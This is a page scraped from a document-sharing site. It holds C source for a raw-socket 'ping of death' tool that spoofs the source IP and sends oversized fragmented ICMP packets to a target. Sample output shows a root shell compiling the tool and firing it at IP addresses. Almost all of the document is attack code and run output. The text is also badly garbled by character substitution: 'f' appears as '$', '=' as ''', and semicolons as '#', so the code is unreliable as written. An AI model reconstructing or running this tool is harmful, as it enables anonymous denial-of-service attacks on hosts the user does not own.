Vous êtes sur la page 1sur 5

#include <stdio.

h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char *argv[!
"
int s, i#
char bu$[%&&#
struct ip *ip ' (struct ip *!bu$#
struct icmphdr *icmp ' (struct icmphdr *!(ip ( )!#
struct hostent *hp, *hp*#
struct sockaddr_in dst#
int o$$set#
int on#
int num ' )&&#
i$(argc < +!
"
print$(,-n.sage/ 0s <saddress> <dstaddress> [number-n,, argv[&!#
print$(,1 saddress is the spoo$ed source address-n,!#
print$(,1 dstaddress is the target-n,!#
print$(,1 number is the number o$ packets to send, )&& is the de$ault-n,!#
e2it()!#
3
/* 4$ enough argument supplied */
i$(argc '' %!
/* 5opy the packet number */
num ' atoi(argv[+!#
/* 6oop based on the packet number */
$or(i')#i<'num#i((!
"
on ' )#
b7ero(bu$, si7eo$(bu$!!#
/* 5reate 89: socket */
i$((s ' socket(9;_4<=>, ?@5A_89:, 4BB8@>@_89:!! < &!
"
perror(,socket(! error,!#
/* 4$ something Crong, Dust e2it */
e2it()!#
3
/* socket options, tell the kernel Ce provide the 4B structure */
i$(setsockopt(s, 4BB8@>@_4B, 4B_EF84<56, Gon, si7eo$(on!! < &!
"
perror(,setsockopt(! $or 4B_EF84<56 error,!#
e2it()!#
3
i$((hp ' gethostbyname(argv[*!! '' <.66!
"
i$((ip1>ip_dst.s_addr ' inet_addr(argv[*!! '' 1)!
"
$print$(stderr, ,0s/ 5anHt resolve, unknoCn host.-n,, argv[*!#
e2it()!#
3
3
else
bcopy(hp1>h_addr_list[&, Gip1>ip_dst.s_addr, hp1>h_length!#
/* >he $olloCing source address Dust redundant $or target to collect */
i$((hp* ' gethostbyname(argv[)!! '' <.66!
"
i$((ip1>ip_src.s_addr ' inet_addr(argv[)!! '' 1)!
"
$print$(stderr, ,0s/ 5anHt resolve, unknoCn host-n,, argv[)!#
e2it()!#
3
3
else
bcopy(hp*1>h_addr_list[&, Gip1>ip_src.s_addr, hp1>h_length!#
print$(,?ending to 0s $rom spoo$ed 0s-n,, inet_ntoa(ip1>ip_dst!, argv[)!#
/* 4p structure, check the ip.h */
ip1>ip_v ' %#
ip1>ip_hl ' si7eo$*ip >> *#
ip1>ip_tos ' &#
ip1>ip_len ' htons(si7eo$(bu$!!#
ip1>ip_id ' htons(%+*)!#
ip1>ip_o$$ ' htons(&!#
ip1>ip_ttl ' *II#
ip1>ip_p ' )#
ip1>ip_sum ' &# /* 6et kernel $ills in */
dst.sin_addr ' ip1>ip_dst#
dst.sin_$amily ' 9;_4<=>#
icmp1>type ' 45JB_=5E@#
icmp1>code ' &#
/* Eeader checksum */
icmp1>checksum ' htons(K(45JB_=5E@ << L!!#
$or(o$$set ' &# o$$set < MII+M# o$$set (' (si7eo$(bu$! 1 si7eo$(*ip!!!
"
ip1>ip_o$$ ' htons(o$$set >> +!#
i$(o$$set < MI)*&!
ip1>ip_o$$ N' htons(&2*&&&!#
else
ip1>ip_len ' htons(%)L!# /* make total MII+L */
/* sending time */
i$(sendto(s, bu$, si7eo$(bu$!, &, (struct sockaddr *!Gdst, si7eo$(dst!! < &!
"
$print$(stderr, ,o$$set 0d/ ,, o$$set!#
perror(,sendto(! error,!#
3
else
print$(,sendto(! is @A.-n,!#
/* 4; o$$set ' &, de$ine our 45JB structure */
i$(o$$set '' &!
"
icmp1>type ' &#
icmp1>code ' &#
icmp1>checksum ' &#
3
3
/* close socket */
close(s!#
usleep(+&&&&!#
3
return &#
3
OUTPUT
[rootOsbcec testcc raC.c
[rootOsbcec test./a.out )P*.)ML*.)I& )P*.)ML.*.* PLML
sendto(! is @A.
sendto(! is @A.
...
...
sendto(! is @A.
sendto(! is @A.
sendto(! is @A.

Vous aimerez peut-être aussi